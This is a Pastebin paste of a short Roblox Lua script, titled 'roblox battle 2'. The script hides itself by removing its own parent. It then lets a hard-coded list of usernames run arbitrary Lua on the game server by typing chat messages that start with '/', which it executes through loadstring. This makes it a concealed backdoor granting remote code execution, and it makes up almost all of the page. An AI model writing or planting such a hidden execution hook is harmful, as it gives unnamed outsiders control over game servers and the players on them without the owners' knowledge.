fartfart1555

roblox battle 2

Dec 9th, 2016
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. script.Parent = nil -- Protects the script
  2.  
  3. local PlayersService = Game:GetService('Players')
  4.  
  5. local ADMIN_LIST = {
  6. fartfart1555 = true,
  7. mathkid234 = true,
  8. Games = true
  9. }
  10.  
  11. local function OnAdminChatted(message)
  12. local command, n = message:gsub('^/', '', 1)
  13. if n == 1 then
  14. pcall(function()
  15. loadstring(command)()
  16. end)
  17. end
  18. end
  19.  
  20. local function OnPlayerAdded(player)
  21. if ADMIN_LIST[player.Name] then
  22. player.Chatted:connect(OnAdminChatted)
  23. end
  24. end
  25.  
  26. PlayersService.PlayerAdded:connect(OnPlayerAdded)
  27. for _, player in pairs(PlayersService:GetPlayers()) do
  28. OnPlayerAdded(player)
  29. end
Add Comment
Please, Sign In to add comment